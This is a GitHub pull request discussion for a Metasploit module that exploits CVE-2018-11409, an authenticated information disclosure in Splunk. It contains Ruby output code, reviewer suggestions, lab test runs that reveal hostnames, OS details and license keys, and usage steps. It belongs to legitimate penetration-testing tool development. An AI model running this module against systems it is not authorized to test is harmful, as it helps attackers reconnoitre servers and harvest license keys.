-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
New Module for Splunk CVE 2018-11409 #18635
Conversation
print_good("Hostname: #{j['entry'][0]['content']['host_fqdn']}") | ||
print_good("CPU Architecture: #{j['entry'][0]['content']['cpu_arch']}") | ||
print_good("Operating System: #{j['entry'][0]['content']['os_name']}") | ||
print_good("OS Build: #{j['entry'][0]['content']['os_build']}") | ||
print_good("OS Version: #{j['entry'][0]['content']['os_version']}") | ||
print_good("Splunk Version: #{j['generator']['version']}") | ||
print_good("Trial Version?: #{j['entry'][0]['content']['isTrial']}") | ||
print_good("Splunk Forwarder?: #{j['entry'][0]['content']['isForwarding']}") | ||
print_good("Splunk Product Type: #{j['entry'][0]['content']['product_type']}") | ||
print_good("License State: #{j['entry'][0]['content']['licenseState']}") | ||
print_good("License Key\(s\): #{j['entry'][0]['content']['licenseKeys']}") | ||
print_good("Splunk Server Roles: #{j['entry'][0]['content']['server_roles']}") | ||
converted_time = DateTime.strptime(j['entry'][0]['content']['startup_time'].to_s, '%s').strftime('%Y-%m-%d %H:%M:%S') | ||
print_good("Splunk Server Startup Time: #{converted_time}") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would it make sense to use a Rex Table here?
splunk_info_table = ::Rex::Text::Table.new(
'Header' => 'Splunk Raw Server Info',
'Indent' => 1,
'Columns' => ['Hostname', 'CPU Architecture', 'Operating System', 'OS Build', 'OS Version' ...]
)
...
result = j['entry'][0]['content']
...
splunk_info_table << [ result['host_fqdn'], result['cpu_arch'] ... ]
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
depending on license key length, it may be hard to read if its super long. It could cleanup slightly by putting each entry into a row for the table.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'd say my original suggestion can be disregarded then. Thanks! 🚀
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the great module @n00bhaxor! A couple minor comments. The majority of the suggestions pertain to send_request_cgi
's keep_cookies
option. Instead of calling res.get_cookies
and passing cookies from method to method, this option can be used to simplify things.
I've tested with these changes on the following versions:
Splunk 6.5.5
msf6 auxiliary(gather/splunk_raw_server_info) > run
[*] Running module against 127.0.0.1
[+] Output saved to /Users/jheysel/.msf4/loot/20231227122814_default_127.0.0.1_splunk.system.st_818068.json
[+] Hostname: ee232e0d2e48
[+] CPU Architecture: x86_64
[+] Operating System: Linux
[+] OS Build: #1 SMP PREEMPT_DYNAMIC Wed Dec 6 17:14:50 UTC 2023
[+] OS Version: 6.5.11-linuxkit
[+] Splunk Version: 6.5.5
[+] Trial Version?: false
[+] Splunk Forwarder?: false
[+] Splunk Product Type: splunk
[+] License State: OK
[+] License Key(s): ["FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"]
[+] Splunk Server Roles: ["indexer", "license_master"]
[+] Splunk Server Startup Time: 2023-12-27 16:34:00
[*] Auxiliary module execution completed
Splunk 7.1.0
msf6 auxiliary(gather/splunk_raw_server_info) > run
[*] Running module against 127.0.0.1
[+] Output saved to /Users/jheysel/.msf4/loot/20231227122807_default_127.0.0.1_splunk.system.st_712499.json
[+] Hostname: 9a974e5f63aa
[+] CPU Architecture: x86_64
[+] Operating System: Linux
[+] OS Build: #1 SMP PREEMPT_DYNAMIC Wed Dec 6 17:14:50 UTC 2023
[+] OS Version: 6.5.11-linuxkit
[+] Splunk Version: 7.1.0
[+] Trial Version?: false
[+] Splunk Forwarder?: false
[+] Splunk Product Type: splunk
[+] License State: OK
[+] License Key(s): ["FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"]
[+] Splunk Server Roles: ["indexer", "license_master"]
[+] Splunk Server Startup Time: 2023-12-27 17:16:00
[*] Auxiliary module execution completed
I'll leave the PR open for the time being incase anyone has any more comments. I will try and land this before the release cut-off tomorrow afternoon.
Co-authored-by: Julien Voisin <[email protected]>
Final testing. Great module 🚀
|
Release NotesThis PR adds a module for an authenticated Splunk information disclosure vulnerability. This module gathers information about the host machine and the Splunk install including OS version, build, CPU arch, Splunk license keys etc. |
Some of the changes for that login and such were copied from other splunk modules. Now that it's hit @bwatters-r7 threshold, I think the appropriate solution is to create a splunk lib with functions similar to wordpress such as |
New Module for Splunk CVE 2018-11409
Verification
use auxiliary/gather/splunk_raw_server_info
SET RHOSTS [IP]